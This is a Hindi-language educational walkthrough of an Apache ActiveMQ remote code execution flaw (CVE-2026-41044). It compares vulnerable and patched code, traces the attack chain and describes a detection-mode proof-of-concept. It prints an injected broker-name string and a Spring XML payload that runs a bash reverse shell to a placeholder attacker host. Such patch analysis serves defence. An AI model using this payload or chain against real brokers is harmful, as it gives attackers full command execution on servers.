
# CVE-2026-41044 के लिए शैक्षिक वॉकथ्रू और प्रूफ-ऑफ-कॉन्सेप्ट, एक Apache ActiveMQ RCE, जिसमें रूट-कॉज़ विश्लेषण और डिटेक्शन स्क्रिप्ट शामिल है।
नोट: केवल शैक्षिक उद्देश्यों के लिए
CVE-2026-41044 का खुलासा 24 अप्रैल, 2026 को हुआ था। यह Apache ActiveMQ Classic में एक रिमोट कोड एक्ज़ीक्यूशन बग है, जिसे jsjcw ने खोजा था, और 5.19.6 और 6.2.5 में पैच किया गया था। मैंने इसे नहीं खोजा।
मैं जो दिखाना चाहता हूँ वह यह है कि जिसने कभी ActiveMQ को नहीं छुआ हो, वह एक दोपहर में N-day का कार्यशील एक्सप्लॉइट कैसे बना सकता है, क्योंकि पैच किया गया कोड सार्वजनिक है, बिना पैच वाला कोड सार्वजनिक है, और उनके बीच का अंतर एक git diff की दूरी पर है।
प्रक्रिया सरल है:
जो पहले दिनों में होता था, अब एक दोपहर में हो जाता है। AI बग नहीं खोजता। यह कोड पढ़ता है और उसे उतनी ही तेज़ी से समझाता है जितनी तेज़ी से आप प्रश्न पूछ सकते हैं। महंगा हिस्सा अभी भी आप हैं: यह तय करना कि वास्तव में क्या एक्सप्लॉइट करने योग्य है, वास्तविक ट्रस्ट सीमाएँ कहाँ हैं, क्या सत्यापित करने की आवश्यकता है। मॉडल केवल किसी भी इंसान की तुलना में कॉल ग्राफ़ तेज़ी से चलता है।
बड़ी बात: यदि आपकी पैचिंग कार्यप्रणाली प्रति CVE एक सप्ताह के विश्लेषण समय की मानती है, तो आप पुरानी समयरेखा पर हैं। git diff की लंबाई समान है चाहे आप डिटेक्शन लिख रहे हों या एक्सप्लॉइट।
ActiveMQ एक मैसेज ब्रोकर है। यह बीच में बैठता है और अनुप्रयोगों के बीच संदेश पास करता है। इसे एक डाकघर की तरह समझें: ऐप्स संदेश छोड़ते हैं, ActiveMQ उन्हें सही प्राप्तकर्ता तक पहुँचाता है। यह एंटरप्राइज़ Java स्टैक में व्यापक रूप से तैनात है और एक वेब कंसोल और Jolokia नामक एक REST प्रबंधन API को /api/jolokia/ पर उजागर करता है। कई तैनातियों में डिफ़ॉल्ट क्रेडेंशियल अभी भी admin:admin हैं।
ActiveMQ ने किसी भी प्रमाणित उपयोगकर्ता को एक मनमाने HTTP URL से ब्रोकर कॉन्फ़िगरेशन लोड करने की अनुमति दी, जिसे Spring पार्स करेगा और तुरंत Java ऑब्जेक्ट के रूप में निष्पादित करेगा - जिसमें ProcessBuilder भी शामिल है - जिससे हमलावर को ब्रोकर सर्वर पर पूर्ण OS कमांड निष्पादन मिल जाता है।
localhost।/api/jolokia/ पर एक HTTP-से-JMX ब्रिज जो प्रबंधन संचालन को REST API के रूप में उजागर करता है। कोई भी मान्य वेब कंसोल क्रेडेंशियल उस तक पहुँचता है - केवल एडमिन ही नहीं।vm:// ट्रांसपोर्ट: इन-प्रोसेस ट्रांसपोर्ट जिसका उपयोग तब किया जाता है जब कोई क्लाइंट ब्रोकर के समान JVM में रहता है। यह एक ?brokerConfig= क्वेरी पैरामीटर स्वीकार करता है जो ब्रोकर को बूटस्ट्रैप करने के लिए एक Spring XML कॉन्फ़िगरेशन की ओर इशारा करता है।xbean:: एक URL स्कीम जो ActiveMQ को बताती है कि URL को Spring XML कॉन्फ़िगरेशन के रूप में मानें और लोड करें।init-method: Spring XML पढ़ता है और स्वचालित रूप से Java ऑब्जेक्ट (बीन्स) बनाता है। init-method विशेषता Spring को बताती है कि बीन बनते ही उस पर एक मेथड कॉल करें - कुछ और चलने से पहले।ProcessBuilder: एक मानक Java क्लास जो OS कमांड चलाती है। ProcessBuilder.start() कमांड निष्पादित करता है।5.19.2 में DestinationView.sendTextMessage() ब्रोकर नाम को सीधे एक स्ट्रिंग में संयोजित करके एक ब्रोकर कनेक्शन URL बनाता है:
// 5.19.2 - DestinationView.sendTextMessage()
String brokerUrl = "vm://" + broker.getBrokerName();
ActiveMQConnectionFactory cf = new ActiveMQConnectionFactory(brokerUrl);
यदि getBrokerName() localhost?brokerConfig=xbean:http://attacker/poison.xml लौटाता है, तो वह पूरी स्ट्रिंग एक एम्बेडेड क्वेरी पैरामीटर के साथ एक मान्य vm:// URI बन जाती है। ActiveMQConnectionFactory इसे VMTransportFactory को सौंपता है, जो brokerConfig पैरामीटर को निकालता है और इसे ब्रोकर के बूटस्ट्रैप कॉन्फ़िगरेशन URL के रूप में उपयोग करता है।
5.19.6 में फिक्स एक पंक्ति है:
// 5.19.6 - DestinationView.sendTextMessage()
URI brokerUrl = broker.getVmConnectorURI();
String URI बन जाता है - आकस्मिक संयोजन अब संभव नहीं है। मान ब्रोकर के वास्तविक पंजीकृत VM कनेक्टर से प्राप्त एक पूर्व-निर्मित, अपरिवर्तनीय URI ऑब्जेक्ट से आता है, न कि एक परिवर्तनीय नाम स्ट्रिंग से।
परत 1 के एक्सप्लॉइट करने योग्य होने के लिए, ब्रोकर नाम को पहले विषाक्त करना होगा। BrokerService ने हमेशा ब्रोकर नामों को सैनिटाइज़ किया है:
// BrokerService.setBrokerName() - दोनों संस्करणों में मौजूद
private static final String INVALID_BROKER_NAME_CHAR_REG_EXP = "[^a-zA-Z0-9._\\-:]";
brokerName.replaceAll(INVALID_BROKER_NAME_CHAR_REG_EXP, "_");
वह regex ? और = को साफ़-साफ़ हटा देता है। CVE इसलिए मौजूद था क्योंकि RegionBroker का अपना अलग सेटर था जो ऐसा नहीं करता था:
// 5.19.2 - RegionBroker.java
private String brokerName; // परिवर्तनीय
public void setBrokerName(String brokerName) {
this.brokerName = brokerName; // कोई सत्यापन नहीं
}
यह एक क्लासिक कन्फ्यूज़्ड डेप्युटी है - संबंधित क्लासों पर दो सेटर, उनमें से केवल एक सैनिटाइज़ करता है। एक रिमोट पीयर जो विषाक्त नाम फ़ील्ड के साथ एक निर्मित BrokerInfo पैकेट प्रसारित करता है, सीधे RegionBroker.setBrokerName() तक पहुँचता है, जो BrokerService के regex को पूरी तरह से बायपास करता है।
5.19.6 में फिक्स सेटर को हटा देता है, फ़ील्ड को final बनाता है, और इसे पहले से सैनिटाइज़ किए गए पैरेंट से एक बार प्रारंभ करता है:
// 5.19.6 - RegionBroker.java
private final String brokerName; // अपरिवर्तनीय
public RegionBroker(BrokerService brokerService, ...) {
this.brokerName = Objects.requireNonNull(
brokerService.getBrokerName(), "The broker name cannot be null");
// setBrokerName() हटा दिया गया है। अब कोई सेटर नहीं है।
}
आप उस सैनिटाइज़र को बायपास नहीं कर सकते जिसका कोई समानांतर लेखक नहीं है।
VMTransportFactory.doCompositeConnect() वह फ़ंक्शन है जो vm://...?brokerConfig=... URI लेता है, brokerConfig पैरामीटर निकालता है, और BrokerFactory.createBroker(brokerURI) को कॉल करता है। यह पूरी श्रृंखला का ट्रिगर तंत्र है।
Apache ने यहाँ बिल्कुल कुछ नहीं बदला।
वह विकल्प आपको बताता है कि उन्होंने फिक्स के बारे में कैसे सोचा। VMTransportFactory वैध कार्य कर रहा है - vm:// ट्रांसपोर्ट वास्तव में बूटस्ट्रैप कॉन्फ़िगरेशन स्वीकार करने वाले होते हैं। इसे पैच करना इच्छित डिज़ाइन को तोड़ देता। इसके बजाय, Apache ने बग को स्रोत (परत 2: कोई विषाक्त नाम नहीं लिखा जा सकता) और सिंक (परत 5: भले ही एक विषाक्त URL आ जाए, संसाधन रिज़ॉल्वर इसे प्राप्त नहीं करेगा) पर ठीक किया।
उन परतों को ठीक करें जहाँ सत्यापन का संबंध है, उस परत को नहीं जहाँ से हमलावर गुज़रा।
// XBeanBrokerFactory - दोनों संस्करणों में समान
protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
Resource resource = Utils.resourceFromString(uri); // परत 5
return new ResourceXmlApplicationContext(resource) { ... };
}
ResourceXmlApplicationContext(resource) वह जगह है जहाँ Spring अपना काम करता है - हर बीन का init-method कॉन्टेक्स्ट निर्माण पर चलता है, ActiveMQ का BrokerService परिणाम को सत्यापित करने से पहले। यहाँ पैच करने के लिए कुछ नहीं है। Spring का अनुबंध डिज़ाइन के अनुसार सही है। बग यह था कि ActiveMQ ने इंस्टेंटिएशन से पहले सत्यापन होने पर भरोसा किया, और Spring उस क्रम का वादा नहीं करता।
यह वह फ़ंक्शन है जिसने तय किया कि xbean:http://attacker/poison.xml प्राप्त किया जाना चाहिए या नहीं। 5.19.2 में:
// 5.19.2 - Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
if (new File(uri).exists()) {
return new FileSystemResource(uri);
} else if (ResourceUtils.isUrl(uri)) {
return new UrlResource(ResourceUtils.getURL(uri)); // http? ftp? jar? कोई जाँच नहीं।
} else {
return new ClassPathResource(uri);
}
}
कोई प्रोटोकॉल फ़िल्टर नहीं। http://, https://, ftp://, jar:// - सभी चुपचाप स्वीकार किए जाते हैं।
5.19.6 का फिक्स एक स्पष्ट अनुमत सूची जोड़ता है। डिफ़ॉल्ट रूप से केवल file और classpath की अनुमति है। बाकी सब कुछ UrlResource के निर्माण से पहले ही अपवाद फेंक देता है:
// 5.19.6 - Utils.java
public static final String FILE_PROTOCOL = "file";
public static final String CLASSPATH_PROTOCOL = "classpath";
public static Resource resourceFromString(String uri, Set<String> allowedProtocols)
throws MalformedURLException {
// ...
} else if (ResourceUtils.isUrl(uri)) {
validateUrlAllowed(uri, allowedProtocols); // http/https आदि होने पर अपवाद फेंकता है
resource = new UrlResource(ResourceUtils.getURL(uri));
}
}
static void validateUrlAllowed(String uriString, Set<String> allowedProtocols)
throws URISyntaxException {
if (allowedProtocols != null) {
final String detectedProtocol = getProtocolFromScheme(uriString);
if (!allowedProtocols.contains(detectedProtocol)) {
throw new IllegalArgumentException("URL [" + uriString +
"] uses protocol '" + detectedProtocol + "' which is not allowed");
}
}
}
XBeanBrokerFactory अब {file, classpath} को अनुमत सूची के रूप में पास करता है। भले ही एक विषाक्त ब्रोकर नाम किसी भविष्य के संस्करण में इस फ़ंक्शन तक पहुँच जाए, http://attacker/poison.xml Spring द्वारा इसे देखने से पहले ही अपवाद फेंक देगा।
<beans xmlns="http://www.springframework.org/schema/beans" ...>
<bean id="rce" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/sh</value>
<value>-c</value>
<value>bash -i >& /dev/tcp/attacker/4444 0>&1</value>
</list>
</constructor-arg>
</bean>
</beans>
जिस क्षण Spring ApplicationContext का निर्माण करता है, init-method="start" ProcessBuilder बीन पर चलता है। ActiveMQ का BrokerService.start() सत्यापन बाद में चलता है। तब तक शेल पहले ही वापस कनेक्ट हो चुका होता है।
कमज़ोर Utils.resourceFromString सिंक तक पहुँचने के दो तरीके हैं:
पूर्ण उत्पादन पथ (जैसा कि एडवाइज़री वर्णन करती है):
रिमोट पीयर निर्मित BrokerInfo पैकेट भेजता है
-> RegionBroker.setBrokerName() बिना सत्यापन के विषाक्त नाम संग्रहीत करता है
-> DestinationView.sendTextMessage() इसे vm:// URL में संयोजित करता है
-> VMTransportFactory brokerConfig पैरामीटर निकालता है
-> XBeanBrokerFactory -> Utils.resourceFromString -> Spring RCE
छोटा पथ (जो poc.sh उपयोग करता है):
BrokerFactory.createBroker("xbean:http://attacker/poison.xml")
-> XBeanBrokerFactory -> Utils.resourceFromString -> Spring RCE
PoC व्यावहारिक कारण से छोटा पथ लेता है: पूर्ण पथ के लिए लक्ष्य को एक निर्मित BrokerInfo पैकेट भेजने वाले नेटवर्क पीयर के रूप में एक दूसरा ActiveMQ ब्रोकर स्थापित करने की आवश्यकता होती है - एक ब्रोकर-से-ब्रोकर इंटरैक्शन जिसके लिए अधिक जटिल लैब सेटअप की आवश्यकता होती है। छोटा पथ एकल ब्रोकर और एक बुनियादी HTTP सर्वर के साथ काम करता है।
दोनों पथ एक ही कमज़ोर प्राइमिटिव से टकराते हैं। PoC पुष्टि करता है कि सिंक एक्सप्लॉइट करने योग्य है और CVE लक्ष्य पर मौजूद है। यदि आप एडवाइज़री में वर्णित सटीक प्रवेश बिंदु को दोहराना चाहते हैं, तो आपको ब्रोकर-से-ब्रोकर चरण जोड़ने की आवश्यकता है।
PoC डिफ़ॉल्ट रूप से केवल-डिटेक्शन मोड में चलता है। यह दो संकेतों की जाँच करता है:
बैनर जाँच - Jolokia के माध्यम से BrokerVersion पढ़ता है:
< 5.19.6 या 6.0.0 - 6.2.4 = कमज़ोर सीमाव्यवहार जाँच - Jolokia के माध्यम से addNetworkConnector("vm://probe") कॉल करता है:
Transport scheme 'vm' is not allowedDiscoveryAgent scheme NOT recognized IOException लौटाता हैपैच किए गए संस्करण पर अस्वीकृति BrokerView.validateAllowedUrl() से आती है - 5.19.6 में addNetworkConnector JMX ऑपरेशन में सीधे जोड़ी गई एक अलग अस्वीकृति-सूची, न कि Utils.resourceFromString से। ये दो स्वतंत्र फिक्स हैं: एक JMX प्रबंधन सतह की रक्षा करता है, दूसरा परत 5 में वर्णित संसाधन लोडिंग प्राइमिटिव की रक्षा करता है। व्यवहार जाँच पूर्व का परीक्षण करती है।
| परत | कमज़ोर (5.19.2) | ठीक किया गया (5.19.6) |
|---|---|---|
DestinationView | "vm://" + brokerName स्ट्रिंग संयोजन | broker.getVmConnectorURI() अपरिवर्तनीय URI |
RegionBroker | परिवर्तनीय फ़ील्ड, बिना सैनिटाइज़ किया सेटर | final फ़ील्ड, सेटर हटाया गया, सैनिटाइज़ किए गए पैरेंट से प्रारंभ किया गया |
VMTransportFactory | अपरिवर्तित | अपरिवर्तित (डिज़ाइन द्वारा) |
XBeanBrokerFactory | Utils.resourceFromString(uri) कॉल करता है | Utils.resourceFromString(uri, allowedProtocols) कॉल करता है |
Utils.resourceFromString | किसी भी URL स्कीम को प्राप्त करता है | अनुमत सूची लागू - डिफ़ॉल्ट रूप से केवल file और classpath |